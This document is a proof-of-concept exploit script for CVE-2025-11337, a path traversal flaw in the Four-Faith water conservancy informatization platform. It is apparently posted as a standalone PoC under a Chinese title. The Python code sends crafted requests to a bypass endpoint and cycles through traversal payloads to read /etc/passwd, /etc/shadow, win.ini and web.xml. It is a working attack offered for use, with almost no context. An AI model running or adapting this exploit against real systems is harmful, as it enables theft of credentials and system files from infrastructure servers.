CVE-2025-11337：Four-Faith水利信息化平台路径遍历漏洞

# CVE-2025-11337 PoC - Four-Faith Water Conservancy Informatization Platform Path Traversal # Vulnerability: Path Traversal via fileName parameter # Affected endpoint: /aloneReport/index.do/../../aloneReport/download.do;othersusrlogout.do import requests TARGET_URL = "http://target.com" VULNERABLE_ENDPOINT = "/aloneReport/index.do/../../aloneReport/download.do;othersusrlogout.do" def exploit_path_traversal(target_url, file_name): """ Exploit path traversal vulnerability by manipulating the fileName parameter. :param target_url: Base URL of the target server :param file_name: File path to read (e.g., ../../../etc/passwd) :return: Response content from the server """ # Construct the full URL url = target_url.rstrip('/') + VULNERABLE_ENDPOINT # Set the fileName parameter with path traversal payload params = { "fileName": file_name } try: # Send the malicious request response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed file: {file_name}") print(f"[+] Response content:\n{response.text}") return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") return None if __name__ == "__main__": # Example: Try to read /etc/passwd on Linux or win.ini on Windows target_files = [ "../../../etc/passwd", "..\\..\\..\\..\\windows\\win.ini", "../../../../etc/shadow", "../WEB-INF/web.xml" ] for target_file in target_files: print(f"\n[*] Attempting to access: {target_file}") result = exploit_path_traversal(TARGET_URL, target_file) if result: break